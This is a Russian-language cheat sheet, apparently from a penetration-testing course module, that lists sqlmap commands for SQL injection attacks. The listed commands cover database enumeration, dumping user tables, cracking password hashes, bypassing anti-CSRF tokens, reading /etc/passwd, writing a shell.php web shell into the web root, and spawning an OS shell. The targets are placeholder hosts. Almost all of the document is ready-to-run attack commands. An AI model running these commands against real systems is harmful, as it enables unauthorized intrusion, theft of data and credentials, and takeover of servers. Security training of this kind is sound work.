  Шпаргалка

Шпаргалка — полезный справочник команд для этого модуля.

| **Команда** | **Описание** |
| --- | --- |
| sqlmap -h | Просмотреть основное меню справки |
| sqlmap -hh | Просмотреть расширенное меню справки |
| sqlmap -u "http://www.example.com/vuln.php?id=1" --batch | Работать SQLMapбез запроса на ввод данных пользователем |
| sqlmap 'http://www.example.com/' --data 'uid=1&name=test' | SQLMapс POST-запросом |
| sqlmap 'http://www.example.com/' --data 'uid=1\*&name=test' | Запрос POST, указывающий точку инъекции со звездочкой |
| sqlmap -r req.txt | Передача файла HTTP-запросаSQLMap |
| sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' | Указание заголовка cookie |
| sqlmap -u www.target.com --data='id=1' --method PUT | Указание запроса PUT |
| sqlmap -u "http://www.target.com/vuln.php?id=1" --batch -t /tmp/traffic.txt | Сохранение трафика в выходном файле |
| sqlmap -u "http://www.target.com/vuln.php?id=1" -v 6 --batch | Укажите уровень детализации |
| sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -" | Указание префикса или суффикса |
| sqlmap -u www.example.com/?id=1 -v 3 --level=5 | Указание уровня и риска |
| sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba | Базовый перечень БД |
| sqlmap -u "http://www.example.com/?id=1" --tables -D testdb | Перечисление таблиц |
| sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname | Перечисление таблиц/строк |
| sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'" | Условное перечисление |
| sqlmap -u "http://www.example.com/?id=1" --schema | Перечисление схемы базы данных |
| sqlmap -u "http://www.example.com/?id=1" --search -T user | Поиск данных |
| sqlmap -u "http://www.example.com/?id=1" --passwords --batch | Перебор и взлом паролей |
| sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token" | Обход токена Anti-CSRF |
| sqlmap --list-tampers | Список всех скриптов взлома |
| sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba | Проверьте наличие привилегий DBA |
| sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd" | Чтение локального файла |
| sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php" | Запись файла |
| sqlmap -u "http://www.example.com/?id=1" --os-shell | Создание оболочки ОС |